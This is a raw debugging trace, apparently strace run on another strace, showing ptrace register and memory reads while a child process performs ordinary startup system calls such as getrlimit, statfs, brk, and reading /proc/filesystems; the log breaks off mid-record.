	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x21]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe170]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe170, [0x7ffff700fbb0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe178, [0x14000004]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe180, [0x7ffff7019b40]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe188, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe190, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe198, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1a8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1b8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe1c0, [0]) = 0
	write(2, "rt_sigaction(SIGRT_1, {0x7ffff70"..., 95) = 95
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xd]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, "NULL, 8) = 0\n", 13) = 13
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xe]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe228]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe228, [0x180000000]) = 0
	write(2, "rt_sigprocmask(SIG_UNBLOCK, [RTM"..., 42) = 42
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xe]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, "NULL, 8) = 0\n", 13) = 13
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x61]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe2c0]) = 0
	write(2, "getrlimit(RLIMIT_STACK, ", 24) = 24
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x61]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe2c0, [0x800000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe2c8, [0xffffffffffffffff]) = 0
	write(2, "{rlim_cur=8192*1024, rlim_max=RL"..., 50) = 50
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x89]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bd4297]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe210]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd4290, [0x2f006563726f666e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd4298, [0x78756e696c6573]) = 0
	write(2, "statfs(\"/selinux\", ", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x89]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe210, [0xef53]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe218, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe220, [0x4b4aad]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe228, [0x36a3bf]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe230, [0x32d0a6]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe238, [0x132000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe240, [0xf7259]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe248, [0x19b3023d6d961a8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe250, [0xff]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe258, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe260, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe268, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe270, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe278, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe280, [0]) = 0
	write(2, "{f_type=\"EXT2_SUPER_MAGIC\", f_bs"..., 195) = 195
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	write(2, "brk(0", 5) = 5
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x61b000]) = 0
	write(2, ") "..., 46) = 46
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x63c000]) = 0
	write(2, "brk(0x63c000", 12) = 12
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x63c000]) = 0
	write(2, ") = 0x"..., 39) = 39
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bd41b6]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1b6]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd41b0, [0x702f006c656e7265]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd41b8, [0x656c69662f636f72]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7bd41c0, [0x736d6574737973]) = 0
	write(2, "open(\"/proc/filesystems\", O_RDON"..., 34) = 34
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 10) = 10
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe0c0]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0c0, [0x3]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0c8, [0xf00000a5]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0d0, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0d8, [0x8124]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f8, [0x400]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe100, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe108, [0x4d823c95]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe110, [0x14142eb6]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe118, [0x4d823c95]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe120, [0x14142eb6]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe128, [0x4d823c95]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe130, [0x14142eb6]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe138, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe140, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe148, [0]) = 0
	write(2, "{st_mode=S_IFREG|0444, st_size=0"..., 44) = 44
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ff8000]) = 0
	write(2, ") = 0x7ffff7ff8000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7ff8000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x400]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x13b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8000, [0x7973097665646f6e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8008, [0x65646f6e0a736673]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8010, [0x7366746f6f720976]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8018, [0x62097665646f6e0a]) = 0
	write(2, "\"nodev\\tsysfs\\nnodev\\trootfs\\nno"..., 56) = 56
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7ff8000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x400]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, "\"\", 1024) "..., 36) = 36
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff8000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	write(2, "munmap(0x7ffff7ff8000, 4096", 27) = 27
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 17) = 17
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7579370]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7ffff77a9010]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579370, [0x62696c2f7273752f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579378, [0x2f656c61636f6c2f]) = 0
